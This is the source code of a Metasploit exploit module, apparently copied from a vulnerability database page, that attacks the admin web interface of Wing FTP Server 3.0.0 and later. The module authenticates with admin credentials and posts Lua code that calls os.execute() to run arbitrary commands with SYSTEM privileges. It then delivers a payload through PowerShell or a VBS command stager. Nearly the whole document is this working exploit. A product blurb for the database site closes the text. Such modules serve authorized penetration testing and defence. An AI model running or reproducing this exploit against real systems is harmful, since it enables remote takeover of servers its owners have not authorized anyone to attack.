##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Wing FTP Server Authenticated Command Execution',
'Description' => %q{
This module exploits the embedded Lua interpreter in the admin web interface for
versions 3.0.0 and above. When supplying a specially crafted HTTP POST request
an attacker can use os.execute() to execute arbitrary system commands on
the target with SYSTEM privileges.
},
'Author' =>
[
'Nicholas Nam <nick[at]executionflow.org>',
'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # minor improvements
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://www.wftpserver.com'],
['URL', 'https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm']
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Wing FTP Server >= 3.0.0', {}]
],
'Privileged' => true,
'DisclosureDate' => '2014-06-19',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(5466),
OptString.new('USERNAME', [true, 'Admin username', '']),
OptString.new('PASSWORD', [true, 'Admin password', ''])
], self.class
)
deregister_options('CMDSTAGER::FLAVOR')
deregister_options('CMDSTAGER::DECODER')
deregister_options('URIPATH')
deregister_options('SRVHOST')
deregister_options('SRVPORT')
end
@session_cookie = ''
@version = ''
@psh = false
@vuln_check = false
def check
@session_cookie = authenticate(datastore['USERNAME'], datastore['PASSWORD'])
if @session_cookie.nil?
return CheckCode::Unknown
end
ver = send_request_cgi(
'uri' => '/admin_license.html',
'method' => 'POST',
'cookie' => @session_cookie,
'ctype' => 'text/plain;charset=UTF-8'
)
unless ver
vprint_error("Connection failed!")
return CheckCode::Unknown
end
unless ver.code == 200 && ver.body.include?('Wing FTP Server')
return CheckCode::Safe
end
@version = Rex::Version.new(ver.body.scan(/Wing FTP Server ([\d\.]+)/).flatten.first)
print_status("Found Wing FTP Server #{@version}")
# Lua capabilities and administrator console were added in version 3.0.0, so everything above that is (probably) vulnerable
unless @version >= Rex::Version.new('3.0.0')
@vuln_check = false
return CheckCode::Safe
end
@vuln_check = true
winenv_path = execute_command("PATH")
unless winenv_path
vprint_error("Connection failed!")
return CheckCode::Unknown
end
if winenv_path.code == 200
winenv_path.body.split(';').each do |path_val|
if (/powershell/i) =~ path_val
print_good("Found Powershell at #{path_val}")
@psh = true
end
end
else
@psh = false
end
@vuln_check = false
return CheckCode::Vulnerable
end
def exploit
vprint_status("Authenticating...")
unless [CheckCode::Vulnerable].include? check
fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
end
if @psh == true
print_status('Executing payload via PowerShell...')
psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true)
execute_command(psh_command)
else
if @version > Rex::Version.new('4.3.8')
fail_with(Failure::NoTarget, "Version #{@version} detected and PowerShell not found, aborting exploit attempt!")
end
print_warning("PowerShell not found, will revert to CmdStager for payload delivery!")
print_status("Sending payload...")
# Execute the CmdStager, max length of the commands is ~1500
execute_cmdstager(flavor: :vbs, linemax: 1500)
end
end
def execute_command(cmd,_opts = {})
# Wrap cmd with [[ ]] to prevent potential problems.
if @vuln_check == true
command = "print(os.getenv([[#{cmd}]]))"
else
command = "os.execute([[#{cmd}]])"
end
res = send_request_cgi(
'uri' => '/admin_lua_script.html',
'method' => 'POST',
'encode_params' => true,
'cookie' => @session_cookie,
'ctype' => 'text/plain;charset=UTF-8',
'vars_post' => { 'command' => command }
)
unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
end
if @vuln_check
return res
end
end
def authenticate(username, password)
res = send_request_cgi(
'uri' => '/admin_loginok.html',
'method' => 'POST',
'vars_post' => {
'username' => username,
'password' => password,
'username_val' => username,
'password_val' => password,
'submit_btn' => '+Login+'
}
)
unless res
print_error("#{peer} - Admin login page was unreachable.")
return nil
end
if res.code == 200 && res.body =~ /location='main.html\?lang=english';/
res.get_cookies.split(';').each do |cookie|
cookie.split(',').each do |value|
if value.split('=')[0] =~ /UIDADMIN/
vprint_good("Authentication successful, got session cookie #{value.split('=')[1]}")
return res.get_cookies.split(';')[0]
end
end
end
end
print_error("#{peer} - Authentication failed!")
return nil
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation